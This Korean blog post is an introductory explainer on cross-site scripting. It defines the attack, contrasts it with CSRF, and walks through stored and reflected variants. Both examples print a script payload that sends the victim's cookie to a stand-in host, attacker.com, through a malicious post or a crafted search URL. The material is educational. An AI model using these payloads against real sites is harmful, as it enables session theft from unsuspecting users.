Security/보안

[공격 1] XSS(Cross-site scripting)

snowkit 2024. 12. 7. 22:56

설명

  • Cross-site scripting
    • 현재는 잘못된 명칭
      • 초기에 다른 사이트 데이터를 침해하는 공격에서 파생된 명칭
      • 현재는 모든 형태의 데이터 주입을 지칭한다
    • 약어가 CSS가 아닌 XSS인 이유는 Cascading Style Sheet와 혼동이 올 수 있기 때문
  • 공격자가 취약점이 있는 웹 서버에 악성 스크립트를 삽입하는 것
  • 특정 사이트에 대한 사용자의 신뢰를 악용
  • 주로 CSRF를 위해 사용되기 때문에 CSRF와 혼동되는 경우가 있는데, XSS는 스크립트를 실행시키는 것이고 CSRF는 특정한 행동을 시키는 것이다

Type

Stored(Persistent)

정의

  • 취약점이 있는 웹 서버에 악성 스크립트를 저장하여 피해자의 브라우저에서 스크립트를 실행시키는 XSS 기법
    • 글, 댓글, 닉네임 등에 악성 스크립트 저장

예시

  1. 공격자가 다음과 같은 악성 코드가 포함된 글을 서버에 저장
    • <script>window.location='http://attacker.com/?cookie='+document.cookie</script>
  2. 해당 글을 읽은 피해자는 서버에서 악성 스크립트가 포함된 내용을 응답 받음
  3. 피해자의 브라우저에서 악성 스크립트 실행됨
  4. 공격자의 서버(attacker.com)에 민감정보(쿠키) 전송

Reflected(Non-persistent)

정의

  • 공격자가 악성 스크립트를 URL 파라미터에 넣어 피해자의 브라우저에서 스크립트를 실행시키는 XSS 기법
    • 서버에서 검색어 같은 외부 입력 값을 그대로 사용자에게 응답하면서 발생
  • 브라우저 자체에서 차단하는 경우가 많아 상대적으로 공격을 성공시키기 어렵다

예시

  1. 공격자가 악성 코드가 포함된 링크를 피해자에게 전달(메일, 게시판 등)
    • http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>
  2. 해당 링크를 클릭한 피해자는 서버에서 검색어(악성 스크립트)를 그대로 응답 받음
  3. 피해자의 브라우저에서 악성 스크립트 실행됨
  4. 공격자의 서버(attacker.com)에 민감정보(쿠키) 전송